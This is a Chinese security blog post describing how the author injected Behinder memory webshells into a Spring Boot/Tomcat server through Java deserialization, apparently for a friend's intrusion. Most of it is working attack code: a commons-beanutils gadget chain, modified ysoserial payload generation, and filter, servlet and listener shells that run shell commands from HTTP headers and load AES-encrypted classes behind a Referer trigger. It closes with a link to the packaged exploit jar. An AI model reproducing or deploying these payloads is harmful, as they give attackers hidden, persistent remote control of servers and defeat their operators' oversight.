作者:Y4er
原文鏈接:https://y4er.com/post/java-deserialization-inject-behinder-memshell-note/
朋友叫幫忙打一個內存馬進去,用的是cb鏈,無cc依賴,我尋思這不是有手就行嗎,誰知道接下來遇到了無數的坑。
改造cb鏈去除cc依賴
這個是p牛講過的了,不多說,直接貼代碼
public Object getObject(final String command) throws Exception {
final Object template = Gadgets.createTemplatesImpl(command);
final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
queue.add("1");
queue.add("1");
Reflections.setFieldValue(comparator, "property", "outputProperties");
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = template;
queueArray[1] = template;
return queue;
}
用String.CASE_INSENSITIVE_ORDER替換掉cc的org.apache.commons.collections.comparators.ComparableComparator。
然后是內存馬的地方,修改了ysoserial.payloads.util.Gadgets的createTemplatesImpl來加載自定義的class文件。
public static Object createTemplatesImpl(String command) throws Exception {
command = command.trim();
Class tplClass;
Class abstTranslet;
Class transFactory;
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
tplClass = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
abstTranslet = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
transFactory = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
} else {
tplClass = TemplatesImpl.class;
abstTranslet = AbstractTranslet.class;
transFactory = TransformerFactoryImpl.class;
}
if (command.startsWith("CLASS:")) {
// 這里不能讓它初始化,不然從線程中獲取WebappClassLoaderBase時會強制類型轉換異常。
Class<?> clazz = Class.forName("ysoserial.payloads.templates." + command.substring(6), false, Gadgets.class.getClassLoader());
return createTemplatesImpl(clazz, null, null, tplClass, abstTranslet, transFactory);
} else if (command.startsWith("FILE:")) {
byte[] bs = Files.readBytes(new File(command.substring(5)));
return createTemplatesImpl(null, null, bs, tplClass, abstTranslet, transFactory);
} else {
if (command.startsWith("CMD:")) command = command.substring(4);
return createTemplatesImpl(null, command, null, tplClass, abstTranslet, transFactory);
}
}
public static <T> T createTemplatesImpl(Class myClass, final String command, byte[] bytes, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
final T templates = tplClass.newInstance();
byte[] classBytes = new byte[0];
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(abstTranslet));
CtClass superC = pool.get(abstTranslet.getName());
CtClass ctClass;
if (command != null) {
ctClass = pool.get("ysoserial.payloads.templates.CommandTemplate");
ctClass.setName(ctClass.getName() + System.nanoTime());
String cmd = "cmd = \"" + command + "\";";
ctClass.makeClassInitializer().insertBefore(cmd);
ctClass.setSuperclass(superC);
classBytes = ctClass.toBytecode();
}
if (myClass != null) {
// CLASS:
if (myClass.getName().contains("SpringInterceptorMemShell")) {
// memShellClazz
ctClass = pool.get(myClass.getName());
// 修改b64字節碼
CtClass springTemplateClass = pool.get("ysoserial.payloads.templates.SpringInterceptorTemplate");
String clazzName = "ysoserial.payloads.templates.SpringInterceptorTemplate" + System.nanoTime();
springTemplateClass.setName(clazzName);
String encode = Base64.encodeBase64String(springTemplateClass.toBytecode());
String b64content = "b64=\"" + encode + "\";";
ctClass.makeClassInitializer().insertBefore(b64content);
// 修改SpringInterceptorMemShell隨機命名 防止二次打不進去
String clazzNameContent = "clazzName=\"" + clazzName + "\";";
ctClass.makeClassInitializer().insertBefore(clazzNameContent);
ctClass.setName(SpringInterceptorMemShell.class.getName() + System.nanoTime());
ctClass.setSuperclass(superC);
classBytes = ctClass.toBytecode();
} else {
classBytes = ClassFiles.classAsBytes(myClass);
}
}
if (bytes != null) {
// FILE:
ctClass = pool.get("ysoserial.payloads.templates.ClassLoaderTemplate");
ctClass.setName(ctClass.getName() + System.nanoTime());
StringBuffer sb = new StringBuffer();
for (int i = 0; i < bytes.length; i++) {
sb.append(bytes[i]);
if (i != bytes.length - 1) sb.append(",");
}
String content = "bs = new byte[]{" + sb + "};";
// System.out.println(content);
ctClass.makeClassInitializer().insertBefore(content);
ctClass.setSuperclass(superC);
classBytes = ctClass.toBytecode();
}
// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{classBytes, ClassFiles.classAsBytes(Foo.class)});
// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
接下來就是static寫注冊servlet、filter的代碼了。寫一個servlet/filter繼承AbstractTranslet并且實現對應接口和方法。目標是springboot的,我尋思寫個tomcat filter就能整。
public class TomcatFilterMemShellFromThread extends AbstractTranslet implements Filter {
static {
try {
final String name = "MyFilterVersion" + System.nanoTime();
final String URLPattern = "/*";
WebappClassLoaderBase webappClassLoaderBase =
(WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();
Class<? extends StandardContext> aClass = null;
try {
aClass = (Class<? extends StandardContext>) standardContext.getClass().getSuperclass();
aClass.getDeclaredField("filterConfigs");
} catch (Exception e) {
aClass = (Class<? extends StandardContext>) standardContext.getClass();
aClass.getDeclaredField("filterConfigs");
}
Field Configs = aClass.getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
TomcatFilterMemShellFromThread behinderFilter = new TomcatFilterMemShellFromThread();
FilterDef filterDef = new FilterDef();
filterDef.setFilter(behinderFilter);
filterDef.setFilterName(name);
filterDef.setFilterClass(behinderFilter.getClass().getName());
/**
* 將filterDef添加到filterDefs中
*/
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern(URLPattern);
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);
filterConfigs.put(name, filterConfig);
} catch (Exception e) {
// e.printStackTrace();
}
}
...
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest request = (HttpServletRequest) servletRequest;
HttpServletResponse response = (HttpServletResponse) servletResponse;
if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
response.getWriter().println("error");
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
}
按理說這樣絕對沒問題,事實證明確實沒問題,訪問內存馬輸出了error。接下來向里寫冰蝎的馬,這也是第一個坑。我的內存馬如下
@Override
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
try {
HttpServletRequest request = (HttpServletRequest) req;
HttpServletResponse response = (HttpServletResponse) resp;
HttpSession session = request.getSession();
//create pageContext
HashMap pageContext = new HashMap();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
if (request.getMethod().equals("GET")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (File.separator.equals("/")) {
cmds = new String[]{"/bin/sh", "-c", cmd};
} else {
cmds = new String[]{"cmd", "/c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.getWriter().println(result);
}
} else if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
if (request.getMethod().equals("POST")) {
String k = "e45e329feb5d925b";/*該密鑰為連接密碼32位md5值的前16位,默認連接密碼rebeyond*/
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
//revision BehinderFilter
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilclass = (Class) method.invoke(this.getClass().getClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
}
} catch (Exception e) {
// e.printStackTrace();
}
}
問題來了,cmdshell可以輸出響應結果,而連接冰蝎總是報request.getReader().readLine()空指針。這是我踩得第一個坑。
包裝類問題
目標環境是springboot2.0.9,內嵌tomcat。思來想去不應該request.getReader().readLine()空指針啊,然后一步一步在調,發現service中獲取的參數是經過了包裝的類。我這里用springboot模擬一個包裝類。在MyFilter中
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
ContentCachingResponseWrapper responseWrapper = new ContentCachingResponseWrapper((HttpServletResponse) response);
ContentCachingRequestWrapper requestWrapper = new ContentCachingRequestWrapper((HttpServletRequest) request);
chain.doFilter(requestWrapper, responseWrapper);
responseWrapper.copyBodyToResponse();
}
向下傳遞的是經過ContentCaching包裝的request和response。然后再另一個filter中,嘗試request.getReader().readLine()確實報了空指針,導致冰蝎連不上。

然后我尋思我反射從從coyoteRequest中拼接body參數傳遞給冰蝎aes解密的decodeBufferc.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload)) 拼接完之后payload能正常獲取了,也能正常解密了,然后evilclass.newInstance().equals(pageContext)的equals又出錯了。

報了一個沒有setCharacterEncoding方法。看了一下冰蝎的源碼,發現net.rebeyond.behinder.payload.java.Echo#fillContext會進行反射調用setCharacterEncoding,但是ContentCachingResponseWrapper沒有這個函數

除了這個地方,我又發現org.springframework.web.util.ContentCachingResponseWrapper.ResponseServletOutputStream#ResponseServletOutputStream的write函數重載沒有只傳入一個byte[]參數的

所以這個地方也會報錯,導致冰蝎第一個請求包響應內容為空,進而導致連不上。
發現問題就解決問題。想過改冰蝎的class,但是工程量有點大,想了想還是改改內存馬,不是包裝類嗎,我就拆了你的包裝。
Object lastRequest = request;
Object lastResponse = response;
// 解決包裝類RequestWrapper的問題
// 詳細描述見 https://github.com/rebeyond/Behinder/issues/187
if (!(lastRequest instanceof RequestFacade)) {
Method getRequest = ServletRequestWrapper.class.getMethod("getRequest");
lastRequest = getRequest.invoke(request);
while (true) {
if (lastRequest instanceof RequestFacade) break;
lastRequest = getRequest.invoke(lastRequest);
}
}
// 解決包裝類ResponseWrapper的問題
if (!(lastResponse instanceof ResponseFacade)) {
Method getResponse = ServletResponseWrapper.class.getMethod("getResponse");
lastResponse = getResponse.invoke(response);
while (true) {
if (lastResponse instanceof ResponseFacade) break;
lastResponse = getResponse.invoke(lastResponse);
}
}
HttpSession session = ((RequestFacade) lastRequest).getSession();
pageContext.put("request", lastRequest);
pageContext.put("response", lastResponse);
pageContext.put("session", session);
給冰蝎傳的都是拆了包裝的,這樣解決了冰蝎class的問題,但是還有request.getReader().readLine()為空的問題。我是這么解決的,貼代碼
String payload = request.getReader().readLine();
if (payload == null || payload.isEmpty()) {
payload = "";
// 拿到真實的Request對象而非門面模式的RequestFacade
Field field = lastRequest.getClass().getDeclaredField("request");
field.setAccessible(true);
Request realRequest = (Request) field.get(lastRequest);
// 從coyoteRequest中拼接body參數
Field coyoteRequestField = realRequest.getClass().getDeclaredField("coyoteRequest");
coyoteRequestField.setAccessible(true);
org.apache.coyote.Request coyoteRequest = (org.apache.coyote.Request) coyoteRequestField.get(realRequest);
Parameters parameters = coyoteRequest.getParameters();
Field paramHashValues = parameters.getClass().getDeclaredField("paramHashValues");
paramHashValues.setAccessible(true);
LinkedHashMap paramMap = (LinkedHashMap) paramHashValues.get(parameters);
Iterator<Map.Entry<String, ArrayList<String>>> iterator = paramMap.entrySet().iterator();
while (iterator.hasNext()) {
Map.Entry<String, ArrayList<String>> next = iterator.next();
String paramKey = next.getKey().replaceAll(" ", "+");
ArrayList<String> paramValueList = next.getValue();
String paramValue = paramValueList.get(0);
if (paramValueList.size() == 0) {
payload = payload + paramKey;
} else {
payload = payload + paramKey + "=" + paramValue;
}
}
}
System.out.println(payload);
需要注意這里判斷payload是否為空,是因為在springboot2.6.3測試時request.getReader().readLine()可以獲取到payload而采取拼接的話為空,而2.0.9.RELEASE只能采用拼接參數的形式。
到此解決了冰蝎連接的問題,但是實戰中并不是這么思路明確的,踩坑過程
- 通過jmx注冊filter,發現cmdshell都沒有
- 通過線程注冊filter,cmdshell可以 冰蝎連不上
- 猜測是spring的問題,于是我又試了spring的攔截器,發現cmd可以冰蝎還是不行。
- 最后硬調發現是包裝類的問題,解決payload==null的問題。
springboot中的jmx名稱
此時扭過頭來看jmx注冊servlet、filter,我在本地的tomcat發現可以成功,但是拿到springboot不行。先貼tomcat成功,springboot失敗的代碼
static {
try {
String filterName = "MyFilterVersion" + System.nanoTime();
String urlPattern = "/*";
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
for (NamedObject namedObject : objectSet) {
DynamicMBean dynamicMBean = namedObject.getObject();
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(obj);
field = standardContext.getClass().getDeclaredField("filterConfigs");
field.setAccessible(true);
HashMap<String, ApplicationFilterConfig> map = (HashMap<String, ApplicationFilterConfig>) field.get(standardContext);
if (map.get(filterName) == null) {
//生成 FilterDef
//由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,為了通用性,這里用反射來寫
Class filterDefClass = null;
try {
filterDefClass = Class.forName("org.apache.catalina.deploy.FilterDef");
} catch (ClassNotFoundException e) {
filterDefClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
}
Object filterDef = filterDefClass.newInstance();
filterDef.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterDef, filterName);
Filter filter = new TomcatFilterMemShellFromJMX();
filterDef.getClass().getDeclaredMethod("setFilterClass", new Class[]{String.class}).invoke(filterDef, filter.getClass().getName());
filterDef.getClass().getDeclaredMethod("setFilter", new Class[]{Filter.class}).invoke(filterDef, filter);
standardContext.getClass().getDeclaredMethod("addFilterDef", new Class[]{filterDefClass}).invoke(standardContext, filterDef);
//設置 FilterMap
//由于 Tomcat7 和 Tomcat8 中 FilterDef 的包名不同,為了通用性,這里用反射來寫
Class filterMapClass = null;
try {
filterMapClass = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (ClassNotFoundException e) {
filterMapClass = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
}
Object filterMap = filterMapClass.newInstance();
filterMap.getClass().getDeclaredMethod("setFilterName", new Class[]{String.class}).invoke(filterMap, filterName);
filterMap.getClass().getDeclaredMethod("setDispatcher", new Class[]{String.class}).invoke(filterMap, DispatcherType.REQUEST.name());
filterMap.getClass().getDeclaredMethod("addURLPattern", new Class[]{String.class}).invoke(filterMap, urlPattern);
//調用 addFilterMapBefore 會自動加到隊列的最前面,不需要原來的手工去調整順序了
standardContext.getClass().getDeclaredMethod("addFilterMapBefore", new Class[]{filterMapClass}).invoke(standardContext, filterMap);
//設置 FilterConfig
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, filterDefClass);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(new Object[]{standardContext, filterDef});
map.put(filterName, filterConfig);
}
}
} catch (Exception e) {
// e.printStackTrace();
}
}
在springboot動態調試之后發現Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null)為空集,于是在springboot中尋找jmx對象,發現名字改為了Tomcat而非Catalina,于是加一個if判斷就解決了
if (objectSet.size() == 0) {
// springboot的jmx中為Tomcat而非Catalina
objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
}
Listener內存馬
Listener內存馬不存在包裝類問題,可以直接寫,感覺還是這個比較穩。
package ysoserial.payloads.templates;
import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Set;
public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
static {
try {
MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Repository repository = (Repository) field.get(obj);
Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
if (objectSet.size() == 0) {
// springboot的jmx中為Tomcat而非Catalina
objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
}
for (NamedObject namedObject : objectSet) {
DynamicMBean dynamicMBean = namedObject.getObject();
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(obj);
TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
standardContext.addApplicationEventListener(listener);
}
} catch (Exception e) {
// e.printStackTrace();
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
@Override
public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
}
@Override
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// Listener馬沒有包裝類問題
try {
RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
Field f = requestFacade.getClass().getDeclaredField("request");
f.setAccessible(true);
Request request = (Request) f.get(requestFacade);
Response response = request.getResponse();
// 入口
if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
// cmdshell
if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
String cmd = request.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
response.resetBuffer();
response.getWriter().println(result);
response.flushBuffer();
response.finishResponse();
}
} else if (request.getHeader("x-client-data").equalsIgnoreCase("rebeyond")) {
if (request.getMethod().equals("POST")) {
// 創建pageContext
HashMap pageContext = new HashMap();
// lastRequest的session是沒有被包裝的session!!
HttpSession session = request.getSession();
pageContext.put("request", request);
pageContext.put("response", response);
pageContext.put("session", session);
// 這里判斷payload是否為空 因為在springboot2.6.3測試時request.getReader().readLine()可以獲取到而采取拼接的話為空字符串
String payload = request.getReader().readLine();
// System.out.println(payload);
// 冰蝎邏輯
String k = "e45e329feb5d925b"; // rebeyond
session.putValue("u", k);
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
method.setAccessible(true);
byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
evilclass.newInstance().equals(pageContext);
}
} else {
response.resetBuffer();
response.getWriter().println("error");
response.flushBuffer();
response.finishResponse();
}
}
} catch (Exception e) {
// e.printStackTrace();
}
}
}
總結
解決了springboot包裝類和從jmx中拿到StandardContext的問題,寫了servlet、filter、listener、Spring Interceptor內存馬發現Listener內存馬兼容性更強,
因為這一個內存馬,我和朋友 @湯姆 連著一星期3點睡覺7點起,感覺閻王快夸我好身體了……
打包好的jar包在 https://ysoserial.y4er.com/ysoserial-0.0.6-SNAPSHOT-all.jar 下載
文筆垃圾,措辭輕浮,內容淺顯,操作生疏。不足之處歡迎大師傅們指點和糾正,感激不盡。
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1883/
暫無評論